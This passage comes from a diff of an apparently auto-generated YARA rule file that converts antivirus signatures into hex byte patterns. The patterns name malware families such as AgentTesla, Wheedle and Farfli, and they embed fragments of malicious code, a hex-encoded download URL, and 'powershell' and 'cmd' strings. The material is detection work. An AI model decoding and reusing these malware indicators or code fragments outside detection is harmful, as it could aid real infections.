6f 6e 74 72 6f 6c 20 50 61 6e 65 6c 5c 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c } //10 DEFAULT\Control Panel\International + $a_81_5 = {43 6f 6e 74 72 6f 6c 20 50 61 6e 65 6c 5c 44 65 73 6b 74 6f 70 5c 52 65 73 6f 75 72 63 65 4c 6f 63 61 6c 65 } //10 Control Panel\Desktop\ResourceLocale + $a_81_6 = {43 3a 5c 54 45 4d 50 5c 4d 79 43 6f 6f 6c 41 70 70 5c 43 72 79 70 74 6f 68 61 63 6b 5c 62 75 69 6c 64 5c 65 78 65 } //10 C:\TEMP\MyCoolApp\Cryptohack\build\exe + $a_0c_7 = {01 00 ca 00 ca 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 46 41 00 64 00 2b 03 6a 6b 58 6a 65 66 89 45 90 01 01 58 6a 72 66 89 45 90 01 01 58 6a 6e 66 89 45 90 01 01 58 6a 65 66 89 45 90 01 01 58 6a 6c 90 00 64 00 15 03 8d 14 7e 8a 54 15 90 01 01 32 54 7d 90 01 01 f6 c2 df 75 90 00 01 00 18 03 56 69 72 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_81_1 & 1)*10+(#a_81_2 & 1)*10+(#a_81_3 & 1)*10+(#a_81_4 & 1)*10+(#a_81_5 & 1)*10+(#a_81_6 & 1)*10+(#a_0c_7 & 1)*0) >=80 + +} +rule _InfrastructureShared_17638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffca 00 ffffffca 00 07 00 21 " @@ -194994,7 +208055,7 @@ rule _InfrastructureShared_16549{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28651+(#a_01_2 & 1)*32084+(#a_01_3 & 1)*-28603+(#a_66_4 & 1)*29284+(#a_00_5 & 1)*52+(#a_00_6 & 1)*48) >=202 } -rule _InfrastructureShared_16550{ +rule _InfrastructureShared_17639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -195005,7 +208066,7 @@ rule _InfrastructureShared_16550{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*70) >=2 } -rule _InfrastructureShared_16551{ +rule _InfrastructureShared_17640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -195019,7 +208080,7 @@ rule _InfrastructureShared_16551{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637+(#a_5a_3 & 1)*16762+(#a_00_4 & 1)*23104) >=2 } -rule _InfrastructureShared_16552{ +rule _InfrastructureShared_17641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -195031,7 +208092,7 @@ rule _InfrastructureShared_16552{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1297+(#a_01_2 & 1)*25955) >=3 } -rule _InfrastructureShared_16553{ +rule _InfrastructureShared_17642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -195042,7 +208103,7 @@ rule _InfrastructureShared_16553{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*-28632) >=3 } -rule _InfrastructureShared_16554{ +rule _InfrastructureShared_17643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -195055,7 +208116,7 @@ rule _InfrastructureShared_16554{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297+(#a_30_2 & 1)*11585+(#a_19_3 & 1)*11885) >=3 } -rule _InfrastructureShared_16555{ +rule _InfrastructureShared_17644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -195068,7 +208129,7 @@ rule _InfrastructureShared_16555{ ((#a_54_0 & 1)*18467+(#a_27_1 & 1)*29472+(#a_33_2 & 1)*25133+(#a_00_3 & 1)*119) >=3 } -rule _InfrastructureShared_16556{ +rule _InfrastructureShared_17645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -195080,7 +208141,7 @@ rule _InfrastructureShared_16556{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_16557{ +rule _InfrastructureShared_17646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -195093,7 +208154,7 @@ rule _InfrastructureShared_16557{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_90_2 & 1)*23818+(#a_73_3 & 1)*26996) >=4 } -rule _InfrastructureShared_16558{ +rule _InfrastructureShared_17647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -195106,7 +208167,7 @@ rule _InfrastructureShared_16558{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*23667+(#a_73_2 & 1)*28527+(#a_54_3 & 1)*18467) >=4 } -rule _InfrastructureShared_16559{ +rule _InfrastructureShared_17648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -195126,7 +208187,7 @@ rule _InfrastructureShared_16559{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*13423+(#a_25_2 & 1)*14916+(#a_6e_3 & 1)*17952+(#a_6f_4 & 1)*30023+(#a_01_5 & 1)*6912+(#a_64_6 & 1)*25964+(#a_01_7 & 1)*8192+(#a_57_8 & 1)*8704+(#a_73_9 & 1)*28516+(#a_00_10 & 1)*100) >=4 } -rule _InfrastructureShared_16560{ +rule _InfrastructureShared_17649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -195139,7 +208200,7 @@ rule _InfrastructureShared_16560{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29540+(#a_72_2 & 1)*30019+(#a_90_4 & 1)*22784) >=5 } -rule _InfrastructureShared_16561{ +rule _InfrastructureShared_17650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -195150,7 +208211,7 @@ rule _InfrastructureShared_16561{ ((#a_46_0 & 1)*16675+(#a_fe_1 & 1)*0) >=6 } -rule _InfrastructureShared_16562{ +rule _InfrastructureShared_17651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -195161,7 +208222,7 @@ rule _InfrastructureShared_16562{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*110) >=6 } -rule _InfrastructureShared_16563{ +rule _InfrastructureShared_17652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -195175,22 +208236,43 @@ rule _InfrastructureShared_16563{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28271+(#a_74_2 & 1)*25970+(#a_70_4 & 1)*28673+(#a_72_5 & 1)*30287) >=6 } -rule _InfrastructureShared_16564{ +rule _InfrastructureShared_17653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 59 4c 31 32 33 21 4d 54 42 00 01 00 2a 81 01 70 6f 70 75 6c 61 74 6f 72 5c 55 6e 69 6e 73 74 61 6c 6c 5c 6d 65 74 72 69 6b 65 72 6e 65 5c 55 76 69 73 6e 65 6c 69 67 65 73 01 00 19 81 01 5c 62 69 } //18467 $a_74_1 = {72 6e 65 5c 6d 75 73 63 69 63 69 64 65 2e 6d 69 6e 01 00 20 81 01 5c 45 6a 65 6e 64 6f 6d 73 61 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 65 72 6e 65 73 2e 63 68 69 01 00 1e 81 01 5c 4f 76 65 72 64 69 6c 69 67 65 6e 74 6c 79 5c 62 79 6f 6d 72 61 61 64 65 73 2e 69 6e 69 01 00 20 81 01 65 6d 69 6c 69 75 73 73 5c 72 65 73 73 61 67 65 72 6e 65 5c 6d } //26988 - $a_65_2 = {73 74 6f 72 65 73 01 00 24 81 01 67 6a 6f 72 64 65 6e 65 5c 56 69 6c 6c 61 67 65 72 73 31 38 30 5c 66 65 61 74 68 65 72 62 65 64 64 69 6e 67 00 00 78 0d 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 33 38 21 4d 54 42 00 01 00 22 81 01 34 35 37 36 36 } //27749 - $a_37_3 = {34 36 36 39 36 35 36 43 36 34 34 31 37 34 37 34 37 32 36 39 36 32 37 35 01 00 10 81 01 33 38 36 32 34 31 33 33 34 34 36 42 35 30 34 38 01 00 16 81 01 5a 41 37 43 38 34 59 37 38 47 34 41 35 48 47 35 59 34 4a } //13877 - $a_01_4 = {00 25 81 01 24 30 36 42 42 37 46 45 32 2d 31 34 46 41 2d 34 35 44 35 2d 38 44 35 41 2d 45 46 34 42 46 34 35 42 32 38 31 34 01 00 40 81 01 42 33 41 38 34 36 46 41 46 33 46 42 34 43 44 43 32 38 32 39 31 36 32 36 36 } //18246 - $a_30_5 = {38 36 37 43 33 33 44 41 37 46 43 42 43 42 35 30 35 45 36 33 33 37 33 34 32 43 34 37 44 39 39 30 37 43 01 00 07 81 01 44 65 71 75 65 75 65 01 00 07 81 01 52 65 76 65 72 73 65 00 00 78 0d 01 00 07 00 07 00 } //17463 + $a_65_2 = {73 74 6f 72 65 73 01 00 24 81 01 67 6a 6f 72 64 65 6e 65 5c 56 69 6c 6c 61 67 65 72 73 31 38 30 5c 66 65 61 74 68 65 72 62 65 64 64 69 6e 67 00 00 78 0d 01 00 06 00 06 00 0c 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 6c 65 73 73 65 64 54 75 72 74 6c 65 2e 45 21 64 68 61 00 01 00 0b 01 45 77 73 4d 61 } //27749 + $a_57_3 = {62 01 00 0c 01 45 77 73 4d 61 69 6c 2e 56 69 65 77 01 00 0d 01 45 77 73 4d 61 69 6c 2e 54 6f 61 73 74 01 00 0d 01 45 77 73 4d 61 69 6c 2e } //27753 + $a_65_4 = {01 00 0e 01 45 77 73 4d 61 69 6c 2e 45 77 73 4e 65 74 01 00 0c 01 45 77 73 4d 61 69 6c 2e 44 61 74 61 01 00 0c 01 45 77 73 4d 61 69 6c 2e 43 6f 72 65 01 00 10 01 45 77 73 4d 61 69 6c 2e 43 6f 6e 74 72 6f 6c 73 01 00 12 01 45 77 73 4d 61 69 6c 2e 43 6f 6c 6f 72 43 74 72 6c 73 01 00 0f 01 45 77 73 4d } //28493 + $a_2e_5 = {6f 6d 6d 61 6e 64 01 00 10 01 45 77 73 4d 61 69 6c 2e 42 65 68 61 76 69 6f 72 05 00 14 81 01 43 68 72 6f 6d 65 2f 39 32 2f 30 2e 34 35 31 35 2e 31 33 31 00 00 78 0d 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 33 38 21 4d 54 42 00 01 00 22 81 01 34 } //26977 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26988+(#a_65_2 & 1)*27749+(#a_37_3 & 1)*13877+(#a_01_4 & 1)*18246+(#a_30_5 & 1)*17463) >=6 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26988+(#a_65_2 & 1)*27749+(#a_57_3 & 1)*27753+(#a_65_4 & 1)*28493+(#a_2e_5 & 1)*26977) >=6 } -rule _InfrastructureShared_16565{ +rule _InfrastructureShared_17654{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0c 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 6c 65 73 73 65 64 54 75 72 74 6c 65 2e 45 21 64 68 61 00 01 00 0b 01 45 77 73 4d 61 69 6c 2e 57 65 62 01 00 0c 01 45 77 73 4d 61 69 6c 2e 56 69 65 77 01 00 0d 01 45 77 73 4d 61 69 6c } //16675 + $a_61_1 = {74 01 00 0d 01 45 77 73 4d 61 69 6c 2e 4d 6f 64 65 6c 01 00 0e 01 45 77 73 4d 61 69 6c 2e 45 77 73 4e 65 74 01 00 0c 01 45 77 73 4d 61 69 6c 2e 44 61 74 61 01 00 0c 01 45 77 73 4d 61 69 6c 2e 43 6f 72 65 01 00 10 01 45 77 73 4d 61 69 6c 2e 43 6f 6e 74 72 6f 6c 73 01 00 12 01 45 77 73 4d 61 69 6c 2e 43 6f 6c 6f 72 43 74 72 6c 73 01 } //21550 + $a_45_2 = {73 } //3840 s + $a_6c_3 = {43 6f 6d 6d 61 6e 64 01 00 10 01 45 77 73 4d 61 69 6c 2e 42 65 68 61 76 69 6f 72 05 00 14 81 01 43 68 72 6f 6d 65 2f 39 32 2f 30 2e 34 35 31 35 2e 31 33 31 00 00 78 0d 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 33 38 21 4d 54 42 00 01 00 } //24909 + $a_34_4 = {37 } //-32478 7 + $a_36_5 = {37 34 34 36 36 39 36 35 36 43 36 34 34 31 37 34 37 34 37 32 36 39 36 32 37 35 01 00 10 81 01 33 38 36 32 34 31 33 33 34 34 36 42 35 30 34 38 01 00 16 81 01 5a } //13878 + $a_38_6 = {59 37 38 47 34 41 35 48 47 35 59 34 4a 46 47 47 01 00 25 81 01 24 30 36 42 42 37 46 45 32 2d 31 34 46 41 2d 34 35 44 35 2d 38 44 35 41 2d 45 46 34 42 46 34 35 42 32 38 31 34 01 00 40 81 01 42 33 41 38 } //14145 + $a_41_7 = {33 46 42 34 43 44 43 32 38 32 39 31 36 32 36 36 37 44 44 30 36 38 36 37 43 33 33 44 41 37 46 43 42 43 42 35 30 35 45 36 33 33 37 33 34 32 43 34 37 44 39 39 30 37 43 01 00 07 81 01 44 65 71 75 65 75 65 01 00 07 } //13876 + $a_65_8 = {65 72 73 65 00 00 78 0d 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 45 31 31 36 21 4d 54 42 00 01 00 0a 81 01 5a 68 66 62 72 69 68 6e 66 78 01 00 11 81 01 59 6f 79 75 } //385 + $a_6f_9 = {6a 73 70 70 63 73 79 6d 01 00 10 81 01 44 64 62 71 78 6d 62 69 62 65 70 6b 6d 62 74 6c 01 00 21 81 01 50 77 71 72 72 71 7a 70 78 73 74 74 6a 64 76 75 67 6d 6f 69 7a 68 72 2e 42 61 6a 68 6d 74 63 66 6e 01 00 0f 81 01 4f 64 7a 70 77 71 70 78 75 6d 69 6d 73 76 61 01 00 38 81 01 68 74 74 70 3a 2f 2f 31 30 33 2e 32 30 37 2e } //29545 + $a_31_10 = {34 2f 33 30 34 30 2f 31 32 65 72 74 79 75 69 59 62 74 73 69 6d 6e 69 5f 56 6b 69 6d 6f 64 6a 6e 2e 6a 70 67 01 00 25 81 01 24 32 36 66 63 } //14643 + $a_63_11 = {31 36 36 35 2d 34 37 35 63 2d 62 37 63 37 2d 64 63 33 39 39 65 66 35 61 35 37 61 00 00 78 0d 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //12646 + condition: + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*21550+(#a_45_2 & 1)*3840+(#a_6c_3 & 1)*24909+(#a_34_4 & 1)*-32478+(#a_36_5 & 1)*13878+(#a_38_6 & 1)*14145+(#a_41_7 & 1)*13876+(#a_65_8 & 1)*385+(#a_6f_9 & 1)*29545+(#a_31_10 & 1)*14643+(#a_63_11 & 1)*12646) >=6 + +} +rule _InfrastructureShared_17655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -195206,7 +208288,7 @@ rule _InfrastructureShared_16565{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*13107+(#a_35_2 & 1)*13620+(#a_33_3 & 1)*17717+(#a_72_4 & 1)*14930+(#a_62_5 & 1)*27504+(#a_6f_6 & 1)*26987) >=7 } -rule _InfrastructureShared_16566{ +rule _InfrastructureShared_17656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -195221,7 +208303,7 @@ rule _InfrastructureShared_16566{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25197+(#a_69_2 & 1)*29794+(#a_18_4 & 1)*2570+(#a_1a_5 & 1)*3094+(#a_00_6 & 1)*25955) >=7 } -rule _InfrastructureShared_16567{ +rule _InfrastructureShared_17657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -195236,7 +208318,7 @@ rule _InfrastructureShared_16567{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*3160+(#a_52_2 & 1)*-32505+(#a_65_3 & 1)*24940+(#a_01_4 & 1)*25955+(#a_74_5 & 1)*31090) >=7 } -rule _InfrastructureShared_16568{ +rule _InfrastructureShared_17658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -195251,7 +208333,7 @@ rule _InfrastructureShared_16568{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29295+(#a_00_3 & 1)*110+(#a_00_4 & 1)*51+(#a_69_5 & 1)*384+(#a_61_6 & 1)*29251) >=7 } -rule _InfrastructureShared_16569{ +rule _InfrastructureShared_17659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -195268,7 +208350,7 @@ rule _InfrastructureShared_16569{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*19532+(#a_65_3 & 1)*17153+(#a_6a_4 & 1)*29268+(#a_38_5 & 1)*12644+(#a_53_6 & 1)*28018+(#a_6e_7 & 1)*27247+(#a_6e_8 & 1)*26996) >=7 } -rule _InfrastructureShared_16570{ +rule _InfrastructureShared_17660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -195284,7 +208366,7 @@ rule _InfrastructureShared_16570{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28532+(#a_72_2 & 1)*28531+(#a_65_3 & 1)*25964+(#a_2e_4 & 1)*25971+(#a_33_5 & 1)*26967+(#a_00_7 & 1)*117) >=8 } -rule _InfrastructureShared_16571{ +rule _InfrastructureShared_17661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -195300,7 +208382,7 @@ rule _InfrastructureShared_16571{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25199+(#a_76_2 & 1)*30579+(#a_43_3 & 1)*25931+(#a_00_5 & 1)*32+(#a_72_6 & 1)*21605+(#a_79_7 & 1)*25697) >=8 } -rule _InfrastructureShared_16572{ +rule _InfrastructureShared_17662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -195310,46 +208392,76 @@ rule _InfrastructureShared_16572{ $a_00_2 = {64 00 75 00 6c 00 65 00 48 00 61 00 6e 00 64 00 6c 00 65 00 41 00 01 00 12 01 48 69 64 50 5f 47 65 74 42 75 74 74 6f 6e 43 61 70 73 01 00 06 01 65 78 5f 73 69 6d 01 00 0c 01 52 65 73 75 6d 65 54 68 72 65 61 64 00 00 78 0d 01 00 0a 00 0a 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 57 68 65 65 64 6c 65 2e } //77 $a_68_3 = {00 0a 00 1c 01 68 69 20 66 72 6f 6d 20 67 72 6f 75 6e 64 20 62 79 65 20 66 72 6f 6d 20 73 6b 79 2e 05 00 5f 01 59 6f 75 72 20 70 61 74 68 20 74 6f 20 64 6f 77 6e 6c 6f 61 64 20 79 6f 75 72 20 66 69 6c 65 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 6f 72 20 77 65 20 63 61 6e 20 6e 6f 74 20 61 63 } //8514 $a_73_4 = {74 68 69 73 20 70 61 74 68 20 0a 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 05 00 5b 01 59 6f 75 72 20 70 61 74 68 20 74 6f 20 73 61 76 65 20 79 6f 75 72 20 66 69 6c 65 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 6f 72 20 77 65 20 63 61 6e 20 6e 6f 74 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 74 68 20 0a 50 6c 65 61 73 65 20 74 72 } //25955 - $a_67_5 = {69 6e 00 00 78 0d 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 50 52 21 4d 54 42 00 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 76 65 72 73 65 01 00 12 01 4b 68 79 68 66 6a 6d 63 76 6b 6e 6f } //8313 - $a_6b_6 = {62 01 00 0b 81 01 48 70 78 64 70 62 77 73 6a 64 77 01 00 0a 01 70 6f 77 65 72 73 68 65 6c 6c 01 00 11 81 01 63 6d 64 20 2f 43 20 74 69 6d 65 6f 75 74 20 32 32 01 00 20 81 01 4b 68 79 68 66 6a 6d 63 76 6b 6e 6f 6f 6b 6e 6b 65 62 2e 47 6d 75 74 73 6f 75 78 71 70 69 79 6d 01 00 24 81 01 58 7a 78 73 66 64 73 62 7a 6a 77 79 62 70 67 } //27503 - $a_6f_7 = {65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 38 37 35 38 38 36 39 65 2d 33 64 30 35 2d 34 30 37 62 2d 61 34 34 61 2d 65 65 37 31 37 35 39 39 36 62 65 65 00 00 78 0d 01 00 0b 00 0b 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 69 6c 65 43 6f 64 65 72 2e 53 49 21 4d 54 42 00 01 00 0e 81 01 56 69 72 74 } //20526 - $a_50_8 = {6f 74 65 63 74 01 00 0c 81 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 01 00 10 81 01 53 79 73 74 65 6d 2e 54 68 72 65 61 64 69 6e 67 01 00 0a 81 01 4c 6f 61 64 4d 6f 64 75 6c 65 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0e 81 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 10 81 01 47 } //24949 + $a_67_5 = {69 6e 00 00 78 0d 01 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 61 72 66 6c 69 2e 53 58 21 4d 54 42 00 05 00 31 03 c7 00 16 00 00 00 e8 16 e8 ff ff 45 33 db 44 38 5d 98 74 0b 48 8b 45 90 90 83 a0 c8 00 00 00 fd 8b c6 e9 ed 06 00 00 45 33 d2 48 85 ff 74 } //8313 + $a_48_7 = {8d e0 00 } //14336 + $a_90_8 = {04 4c 8d 8d e0 00 00 00 4c 8d 45 d0 48 8d 54 24 44 33 c9 44 89 74 24 28 c7 44 24 44 6f 70 65 6e 44 88 74 24 48 4c 89 74 24 20 ff 15 90 00 02 00 6f 01 49 c1 e8 08 41 8b 94 93 60 cf 02 00 48 c1 e8 10 0f b6 c8 41 0f b6 c0 41 33 94 8b 60 cb 02 00 41 33 94 83 60 c7 02 00 41 8b c1 44 33 fa 48 c1 e8 18 0f b6 d0 41 8b c1 41 8b 94 93 60 cf 02 00 44 8b 54 24 38 48 c1 e8 10 0f b6 c8 49 c1 e9 08 41 33 94 8b 60 cb 02 00 41 0f b6 c1 41 33 94 83 60 c7 02 00 44 33 d2 49 ff cc 0f 85 63 fe ff ff 00 00 78 0d 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 50 52 21 4d 54 42 00 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 } //0 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_00_2 & 1)*77+(#a_68_3 & 1)*8514+(#a_73_4 & 1)*25955+(#a_67_5 & 1)*8313+(#a_6b_6 & 1)*27503+(#a_6f_7 & 1)*20526+(#a_50_8 & 1)*24949) >=9 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_00_2 & 1)*77+(#a_68_3 & 1)*8514+(#a_73_4 & 1)*25955+(#a_67_5 & 1)*8313+(#a_48_7 & 1)*14336+(#a_90_8 & 1)*0) >=9 } -rule _InfrastructureShared_16573{ +rule _InfrastructureShared_17663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 57 68 65 65 64 6c 65 2e 42 21 64 68 61 00 0a 00 1c 01 68 69 20 66 72 6f 6d 20 67 72 6f 75 6e 64 20 62 79 65 20 66 72 6f 6d 20 73 6b 79 2e 05 00 5f 01 59 6f 75 72 20 70 61 74 68 20 74 } //16675 $a_6f_1 = {6e 6c 6f 61 64 20 79 6f 75 72 20 66 69 6c 65 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 6f 72 20 77 65 20 63 61 6e 20 6e 6f 74 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 74 68 20 0a 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 05 00 5b 01 59 6f 75 72 20 70 61 74 68 20 74 6f 20 73 61 76 65 } //8303 - $a_75_2 = {20 66 69 6c 65 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 6f 72 20 77 65 20 63 61 6e 20 6e 6f 74 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 74 68 20 0a 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 00 00 78 0d 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 50 52 21 4d } //31008 + $a_75_2 = {20 66 69 6c 65 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 6f 72 20 77 65 20 63 61 6e 20 6e 6f 74 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 74 68 20 0a 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 00 00 78 0d 01 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 61 72 66 6c 69 2e 53 58 21 4d } //31008 condition: ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8303+(#a_75_2 & 1)*31008) >=10 } -rule _InfrastructureShared_16574{ +rule _InfrastructureShared_17664{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 61 72 66 6c 69 2e 53 58 21 4d 54 42 00 05 00 31 03 c7 00 16 00 00 00 e8 16 e8 ff ff 45 33 db 44 38 5d 98 74 0b 48 8b 45 90 90 83 a0 c8 00 00 00 fd 8b c6 e9 ed 06 00 } //21539 + $a_d2_1 = {85 ff 74 cd 90 00 03 00 38 03 48 8d 8d e0 00 00 00 e8 90 01 04 4c 8d 8d e0 00 00 00 4c 8d 45 d0 48 8d 54 24 44 33 c9 44 89 74 24 28 c7 44 24 44 6f 70 65 } //17664 + $a_74_2 = {48 4c 89 74 24 20 ff 15 90 00 02 00 6f 01 49 c1 e8 08 41 8b 94 93 60 cf 02 00 48 c1 e8 10 0f b6 c8 41 0f b6 c0 41 33 94 8b 60 cb 02 00 41 33 94 83 60 c7 02 00 41 8b c1 44 33 fa 48 c1 e8 18 0f b6 d0 41 8b c1 41 8b 94 93 60 cf 02 00 44 8b 54 24 38 48 c1 e8 10 0f b6 c8 49 c1 e9 08 41 33 94 8b 60 cb 02 00 41 0f b6 c1 41 33 94 83 60 c7 02 00 44 33 d2 49 ff cc 0f 85 63 fe ff ff 00 00 78 0d 01 00 0a 00 0a 00 0a } //17518 + condition: + ((#a_4c_0 & 1)*21539+(#a_d2_1 & 1)*17664+(#a_74_2 & 1)*17518) >=10 + +} +rule _InfrastructureShared_17665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 50 52 21 4d 54 42 00 01 00 09 01 47 65 74 4d 65 74 68 6f 64 01 00 06 01 49 6e 76 6f 6b 65 01 00 07 01 52 65 76 65 